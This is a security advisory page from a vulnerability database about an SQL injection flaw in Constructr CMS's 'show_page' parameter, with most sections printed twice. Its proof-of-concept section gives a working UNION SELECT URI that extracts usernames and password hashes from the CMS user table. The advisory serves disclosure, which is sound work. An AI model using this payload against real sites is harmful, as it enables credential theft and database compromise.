Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
BID:32956
Info
Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 32956 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 19 2008 12:00AM |
| Updated: | Dec 30 2008 06:11PM |
| Credit: | fuzion |
| Vulnerable: |
Constructr CMS Constructr CMS 3.2.5 |
| Not Vulnerable: | |
Discussion
Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
Constructr CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Constructr CMS 3.02.5 and prior versions are vulnerable.
Constructr CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Constructr CMS 3.02.5 and prior versions are vulnerable.
Exploit / POC
Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/constructr/?show_page=-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML
NOTE: The above request should be URL-encoded.
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/constructr/?show_page=-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML
NOTE: The above request should be URL-encoded.
Solution / Fix
Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Constructr CMS 'show_page' Parameter SQL Injection Vulnerability
References:
References:
- Constructr CMS Home Page (Constructr CMS)